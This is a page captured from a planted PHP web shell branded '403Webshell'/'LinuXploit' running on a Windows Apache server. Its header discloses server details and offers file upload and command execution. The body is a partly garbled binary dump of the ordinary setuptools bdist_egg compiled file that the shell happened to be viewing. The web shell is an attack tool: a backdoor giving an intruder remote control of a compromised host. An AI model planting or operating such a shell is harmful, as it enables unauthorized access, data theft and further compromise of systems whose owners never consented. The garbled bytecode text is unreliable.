403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/setuptools/command/__pycache__/bdist_egg.cpython-39.pyc
a

��e1@�@sdZddlmZmZddlmZddlmZddlZddl	Z	ddl
Z
ddlZddlZddl
mZddlmZdd	lmZdd
lmZmZdd�Zd
d�Zdd�Zdd�ZGdd�de�Ze�d���Zdd�Zdd�Z dd�Z!ddd�Z"dd �Z#d!d"�Z$d#d$�Z%gd%�Z&d*d(d)�Z'dS)+z6setuptools.command.bdist_egg

Build .egg distributions�)�remove_tree�mkpath)�log)�CodeTypeN)�Library)�Command�)�ensure_directory)�get_path�get_python_versioncCstd�S)NZpurelib)r
�rr�@/usr/lib/python3.9/site-packages/setuptools/command/bdist_egg.py�_get_purelibsrcCs2d|vrtj�|�d}|�d�r.|dd�}|S)N�.r�modulei����)�os�path�splitext�endswith)�filenamerrr
�strip_modules

rccs6t�|�D]&\}}}|��|��|||fVq
dS)zbDo os.walk in a reproducible way,
    independent of indeterministic filesystem readdir order
    N)r�walk�sort)�dir�base�dirs�filesrrr
�sorted_walk!srcCsJt�d���}t|d��}|�||�Wd�n1s<0YdS)Na�
        def __bootstrap__():
            global __bootstrap__, __loader__, __file__
            import sys, pkg_resources, importlib.util
            __file__ = pkg_resources.resource_filename(__name__, %r)
            __loader__ = None; del __bootstrap__, __loader__
            spec = importlib.util.spec_from_file_location(__name__,__file__)
            mod = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(mod)
        __bootstrap__()
        �w)�textwrap�dedent�lstrip�open�write)�resource�pyfileZ_stub_template�frrr
�
write_stub+s
�
r'c@sxeZdZdZgd�Zgd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�	bdist_eggzcreate an "egg" distribution))z
bdist-dir=�bz1temporary directory for creating the distribution)z
plat-name=�pzdplatform name to embed in generated filenames (by default uses `pkg_resources.get_build_platform()`))�exclude-source-filesNz+remove all .py files from the generated egg)�	keep-temp�kzPkeep the pseudo-installation tree around after creating the distribution archive)z	dist-dir=�dz-directory to put final built distributions in)�
skip-buildNz2skip rebuilding everything (for testing/debugging))r,r/r+cCs.d|_d|_d|_d|_d|_d|_d|_dS)Nr)�	bdist_dir�	plat_name�	keep_temp�dist_dir�
skip_build�
egg_output�exclude_source_files��selfrrr
�initialize_optionsUszbdist_egg.initialize_optionscCs�|�d�}|_|j|_|jdur>|�d�j}tj�|d�|_|jdur\ddl	m
}|�|_|�dd�|jdur�|j
t�|j��o�|jd�}tj�|j|d�|_dS)	N�egg_infoZbdistZeggr)�get_build_platform)r3r3)Z
py_version�platformz.egg)�get_finalized_command�ei_cmdr:r0�
bdist_baserr�joinr1Z
pkg_resourcesr;Zset_undefined_optionsr5Z_get_egg_basenamer�distribution�has_ext_modulesr3)r8r>r?r;�basenamerrr
�finalize_options^s


�zbdist_egg.finalize_optionscCs�|j|�d�_tj�tj�t���}|jj	g}|j_	|D]�}t
|t�r�t|�dkr�tj�
|d�r�tj�|d�}tj�|�}||ks�|�|tj�r�|t|�dd�|df}|jj	�|�q:z*t�d|j�|jdddd�W||j_	n
||j_	0dS)N�installrr�zinstalling package data to %s�install_data)�force�root)r0r=�install_librr�normcase�realpathrrA�
data_files�
isinstance�tuple�len�isabs�
startswith�sep�appendr�info�call_command)r8Z
site_packages�old�itemrLZ
normalizedrrr
�do_install_datavs"�zbdist_egg.do_install_datacCs|jgS)N)r5r7rrr
�get_outputs�szbdist_egg.get_outputscKsTtD]}|�||j�q|�d|j�|�d|j�|j|fi|��}|�|�|S)z8Invoke reinitialized command `cmdname` with keyword argsr4�dry_run)�INSTALL_DIRECTORY_ATTRS�
setdefaultr0r4r[Zreinitialize_command�run_command)r8Zcmdname�kw�dirname�cmdrrr
rV�s
zbdist_egg.call_commandcCs�|�d�t�d|j�|�d�}|j}d|_|j��rH|jsH|�d�|j	ddd�}||_|�
�\}}g|_g}t|�D]|\}}t
j�|�\}	}
t
j�|jt|	�d�}|j�|�t�d	|�|js�tt
j�|�|�|�|�|�t
jd
�||<qz|�r|�|�|jj�r|��|j}t
j�|d�}
|�|
�|jj�rlt
j�|
d�}t�d
|�|j	d|dd�|�|
�t
j�|
d�}|�r�t�d|�|j�st|�t|d�}|� d�|��|� d�|�!�n,t
j�"|��rt�d|�|j�st
�#|�t$t
j�|d�|�%��t
j�&t
j�|j'd���r<t�(d�|j)�rL|�*�t+|j,||j-|j|�.�d�|j/�s�t0|j|jd�t1|jdg��dt2�|j,f�dS)Nr:zinstalling library code to %srEZ
build_clibrJr)Zwarn_dir�.pyzcreating stub loader for %s�/�EGG-INFO�scriptszinstalling scripts to %sZinstall_scriptsrF)�install_dirZno_epznative_libs.txtz
writing %s�wt�
zremoving %szdepends.txtzxWARNING: 'depends.txt' will not be used by setuptools 0.6!
Use the install_requires/extras_require setup() args instead.)�verboser[�mode�r[Z
dist_filesr()3r^rrUr0r=rIrAZhas_c_librariesr4rV�get_ext_outputs�stubs�	enumeraterrrr@rrTr[r'rC�replacerSZbyte_compilerMrYrre�copy_metadata_tor	r"r#�close�isfile�unlink�write_safety_flag�zip_safe�existsr:�warnr6�zap_pyfiles�make_zipfiler5ri�
gen_headerr2r�getattrr)r8ZinstcmdZold_rootra�all_outputs�ext_outputsZ
to_compiler*Zext_namer�extr%Zarchive_rootr:Z
script_dirZnative_libsZ	libs_filerrr
�run�s�












���z
bdist_egg.runc

Cs�t�d�t|j�D]�\}}}|D]�}tj�||�}|�d�rTt�d|�t�	|�|�d�r"|}d}t
�||�}tj�|tj|�
d�d�}	t�d||	f�zt�|	�Wnty�Yn0t�||	�q"qdS)	Nz+Removing .py files from temporary directoryrbzDeleting %s�__pycache__z#(?P<name>.+)\.(?P<magic>[^.]+)\.pyc�name�.pyczRenaming file from [%s] to [%s])rrU�walk_eggr0rrr@r�debugrs�re�match�pardir�group�remove�OSError�rename)
r8rrrr�rZpath_old�pattern�mZpath_newrrr
rx�s$



zbdist_egg.zap_pyfilescCs2t|jdd�}|dur|St�d�t|j|j�S)Nruz4zip_safe flag not set; analyzing archive contents...)r{rArrw�analyze_eggr0rm)r8�saferrr
rus

zbdist_egg.zip_safecCsdS)Nrrr7rrr
rzszbdist_egg.gen_headercCshtj�|j�}tj�|d�}|jjjD]<}|�|�r&tj�||t	|�d��}t
|�|�||�q&dS)z*Copy metadata (egg info) to the target_dir�N)rr�normpathr:r@r>ZfilelistrrRrPr	Z	copy_file)r8Z
target_dirZ
norm_egg_info�prefixr�targetrrr
rps
zbdist_egg.copy_metadata_tocCsg}g}|jdi}t|j�D]f\}}}|D].}tj�|�d��tvr*|�|||�q*|D]"}|||d|tj�||�<q^q|j	�
�r�|�d�}|jD]Z}	t
|	t�r�q�|�|	j�}
|�|
�}tj�|��d�s�tj�tj�|j|��r�|�|�q�||fS)zAGet a list of relative paths to C extensions in the output distror�rFrcZ	build_extzdl-)r0rrrr�lower�NATIVE_EXTENSIONSrTr@rArBr=�
extensionsrNrZget_ext_fullnamer�Zget_ext_filenamerCrRrv)r8r|r}�pathsrrrrZ	build_cmdr~�fullnamerrr
rls(
"




zbdist_egg.get_ext_outputsN)�__name__�
__module__�__qualname__�descriptionZuser_optionsZboolean_optionsr9rDrYrZrVrrxrurzrprlrrrr
r(=s	
Ur(z.dll .so .dylib .pydccsBt|�}t|�\}}}d|vr(|�d�|||fV|EdHdS)z@Walk an unpacked egg's contents, skipping the metadata directoryrdN)r�nextr�)�egg_dirZwalkerrrrrrr
r�=s
r�c	Cs�t��D](\}}tj�tj�|d|��r|Sqt�s<dSd}t|�D]R\}}}|D]B}|�d�sV|�d�rrqVqV|�d�s�|�d�rVt	||||�o�|}qVqH|S)NrdFTrbz.pywr�z.pyo)
�safety_flags�itemsrrrvr@�can_scanr�r�scan_module)	r�rm�flag�fnr�rrrr�rrr
r�Gs
r�cCs�t��D]r\}}tj�||�}tj�|�rJ|dus>t|�|krzt�|�q|durt|�|krt|d�}|�	d�|�
�qdS)Nrgrh)r�r�rrr@rv�boolrsr"r#rq)r�r�r�r�r&rrr
rtYs

rtzzip-safeznot-zip-safe)TFc
Cs�tj�||�}|dd�|vr"dS|t|�dd��tjd�}||rJdpLdtj�|�d}d}t|d	�}|�|�t	�
|�}	|��d}
t�
t|	��}d
D]}||vr�t�d||�d}
q�d
|vr�dD]}||vr�t�d||�d}
q�|
S)z;Check whether module possibly uses unsafe-for-zipfile stuffN���TrFrr�r��rb)�__file__�__path__z%s: module references %sF�inspect)Z	getsourceZ
getabsfileZ
getsourcefileZgetfilegetsourcelinesZ
findsourceZgetcommentsZgetframeinfoZgetinnerframesZgetouterframes�stackZtracez"%s: module MAY be using inspect.%s)rrr@rProrSrr"�read�marshal�loadrq�dict�fromkeys�iter_symbolsrrw)
r�rr�rmrZpkgr�skipr&�coder�ZsymbolsZbadrrr
r�ls, 



r�ccsF|jEdH|jD].}t|t�r(|Vqt|t�rt|�EdHqdS)zBYield names and strings used by `code` and its nested code objectsN)�co_names�	co_constsrN�strrr�)r��constrrr
r��s


r�cCs2tj�d�stjdkrdSt�d�t�d�dS)N�javaZcliTz1Unable to analyze compiled code on this platform.zfPlease ask the author to include a 'zip_safe' setting (either True or False) in the package's setup.pyF)�sysr<rRrrwrrrr
r��s
�r�)rJrfrGZinstall_baseTrc
s�ddl}ttj�|��d�t�d|����fdd�}|rB|jn|j}�s�|j	|||d�}	t
��D]\}
}}||	|
|�qd|	��n t
��D]\}
}}|d|
|�q�|S)aqCreate a zip file from all the files under 'base_dir'.  The output
    zip file will be named 'base_dir' + ".zip".  Uses either the "zipfile"
    Python module (if available) or the InfoZIP "zip" utility (if installed
    and found on the default search path).  If neither tool is available,
    raises DistutilsExecError.  Returns the name of the output zip file.
    rNrkz#creating '%s' and adding '%s' to itcs`|D]V}tj�tj�||��}tj�|�r|t��dd�}�sN|�||�t�d|�qdS)NrFzadding '%s')	rrr�r@rrrPr#rr�)�zr`�namesr�rr*��base_dirr[rr
�visit�szmake_zipfile.<locals>.visit)�compression)�zipfilerrrr`rrU�ZIP_DEFLATEDZ
ZIP_STORED�ZipFilerrq)
�zip_filenamer�rir[�compressrjr�r�r�r�r`rrrr�r
ry�s	
ry)rrTr)(�__doc__Zdistutils.dir_utilrr�	distutilsr�typesrr�rr�rr�Zsetuptools.extensionrZ
setuptoolsr�_pathr	Z	sysconfigr
rrrrr'r(r�r��splitr�r�r�rtr�r�r�r�r\ryrrrr
�<module>s<
~
�'


Youez - 2016 - github.com/yon3zu
LinuXploit